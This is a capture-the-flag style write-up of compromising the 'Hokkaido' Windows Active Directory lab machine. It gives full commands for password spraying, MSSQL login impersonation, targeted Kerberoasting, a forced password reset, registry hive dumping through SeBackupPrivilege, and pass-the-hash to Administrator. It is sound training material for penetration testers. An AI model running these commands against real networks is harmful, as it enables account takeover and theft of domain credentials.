Hokkaido

Details

• OS: Windows
• Difficulty: Medium
• IP Address: 192.168.146.40
• Author: AETH3RON

Overview

Hokkaido is a Medium Windows AD machine requiring multi-stage pivoting. Foothold is established via username enumeration and password spraying, leading to credentials in a share and subsequent MSSQL access. Database impersonation reveals LDAP credentials, enabling a Targeted Kerberoasting attack via a GenericWrite ACL and a forced password reset of a Tier 1 admin. Final privilege escalation abuses SeBackupPrivilege to dump registry hives and pass-the-hash as Administrator.

Enumeration

Nmap

We began by scanning the target to identify open ports and services.

nmap -Pn -sS -sV -p- 192.168.146.40 -oN nmap-basic

We performed a more comprehensive scan on the discovered ports.

nmap -Pn -sS -sV -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389 192.168.146.40 -oN nmap-common

The scan results confirm this is a Windows Domain Controller running typical AD services (DNS, Kerberos, LDAP, SMB) and MSSQL. Standard enumeration with tools like enum4linux and ldapsearch did not yield significant results, so we moved to username enumeration.

Kerbrute

We utilized kerbrute to validate potential usernames against the domain using a large wordlist.

kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.146.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

This process identified several valid user accounts. We saved these usernames to a file named usernames.txt to attempt password spraying.

SMB

Using the discovered usernames, we attempted a password spray where the password matched the username (a common misconfiguration).

nxc smb 192.168.146.40 -u usernames.txt -p usernames.txt

The attack succeeded, revealing valid credentials for the user info (info:info). With these credentials, we could now enumerate the full list of domain users.

nxc smb 192.168.146.40 -u info -p info --users

We saved the complete user list for further processing. To explore the file shares available to the info user, we used the spider_plus module in NetExec.

nxc smb 192.168.146.40 -u info -p info -M spider_plus

Analyzing the resulting JSON output, we identified an interesting file named password_reset.txt located in the NETLOGON share. We downloaded and read the file, which revealed the password Start123!.

To identify the owner of these credentials, we sprayed the password Start123! against our list of gathered usernames.

nxc smb 192.168.146.40 -u usernames.txt -p 'Start123!' --continue-on-success

This revealed another valid credential set: discovery:Start123!.

MSSQL

While the discovery user did not have WinRM or RDP access, NetExec indicated access to the MSSQL service. We connected to the database instance using impacket-mssqlclient.

impacket-mssqlclient discovery:'Start123!'@192.168.146.40 -windows-auth

Once connected, we enumerated the available databases.

SELECT name FROM master..sysdatabases;

We identified a non-default database named hrappdb. However, attempting to select it resulted in a permission error. We checked for users we could impersonate to escalate privileges within the database context.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

The output confirmed we could impersonate the user hrappdb-reader. We executed the impersonation and successfully accessed the target database.

EXECUTE AS LOGIN = 'hrappdb-reader'; use hrappdb;

We then enumerated the tables within the database.

SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;

Querying the identified tables revealed credentials for a service account: hrapp-service:Untimed$Runny.

SELECT * FROM sysauth;

Foothold

With the credentials for hrapp-service, we gained read access to the Active Directory environment. We utilized bloodhound-python to collect domain data for analysis.

bloodhound-python -u hrapp-service -p 'Untimed$Runny' -ns 192.168.146.40 -d hokkaido-aerospace.com -c All

After importing the data into BloodHound, we analyzed the shortest paths to compromise. We discovered that hrapp-service has GenericWrite privileges over the user Hazel.Green, who is a Tier 2 Administrator.

This permission allows us to perform a Targeted Kerberoasting attack. By modifying the servicePrincipalName (SPN) of the target user, we can request a Kerberos TGS ticket and attempt to crack it offline.

python3 targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.146.40

We successfully extracted the hash and cracked it using Hashcat, revealing the password: haze1988.

Lateral Movement

Further analysis in BloodHound showed that Hazel.Green is a member of the IT Group. This group has the permission to forcefully change the passwords of Tier 1 Administrators, specifically the user MOLLY.SMITH.

We used rpcclient to exploit this permission and reset Molly’s password.

rpcclient -N 192.168.146.40 -U 'hazel.green%haze1988' $> setuserinfo2 MOLLY.SMITH 23 'Password123!'

With the password set to Password123!, we logged in via RDP to verify access.

xfreerdp3 /u:molly.smith /p:'Password123!' /v:192.168.146.40 +clipboard

Privilege Escalation

Once authenticated as MOLLY.SMITH, we checked our assigned privileges.

whoami /priv

The output confirmed that the user holds the SeBackupPrivilege. This privilege allows the user to bypass file access restrictions to back up files, which we can abuse to dump the critical SAM and SYSTEM registry hives.

We executed the following commands to save the registry hives to a temporary directory:

reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system


We transferred these files back to our attacker machine and used impacket-secretsdump to extract the local hashes offline.

impacket-secretsdump -system system -sam sam local

The tool successfully dumped the local Administrator’s NTLM hash. We used this hash to authenticate via WinRM (Pass-the-Hash), granting us a full SYSTEM shell.

evil-winrm -i 192.168.146.40 -u administrator -H "d752482897d54e239376fddb2a2109e4"

Business Impact

This attack chain illustrates how initial access through weak credentials can escalate to full domain compromise through MSSQL abuse and Kerberos attacks. The ability to perform Targeted Kerberoasting after gaining GenericWrite permissions demonstrates how a single misconfigured ACL can expose service account credentials. The subsequent SeBackupPrivilege abuse on the domain controller enables extraction of all domain secrets, including the KRBTGT hash, which would allow an attacker to forge Golden Tickets and maintain persistent, undetectable access to the entire Active Directory environment. For organizations with MSSQL-integrated authentication, this represents a complete breakdown of their security boundary.

References

• NetExec (nxc):
  • https://github.com/Pennyw0rth/NetExec
• Impacket:
  • https://github.com/fortra/impacket
• Kerbrute:
  • https://github.com/ropnop/kerbrute
• Targeted Kerberoasting:
  • https://github.com/ShutdownRepo/TargetedKerberoast
• SeBackupPrivilege Abuse:
  • https://hackfa.st/Offensive-Security/Windows-Environment/Privilege-Escalation/Token-Impersonation/SeBackupPrivilege-SeRestorePrivilege/#step-3-exploit-backup-sam-system
• Targeted Kerberoasting (harmj0y):
  • https://blog.harmj0y.net/activedirectory/targeted-kerberoasting/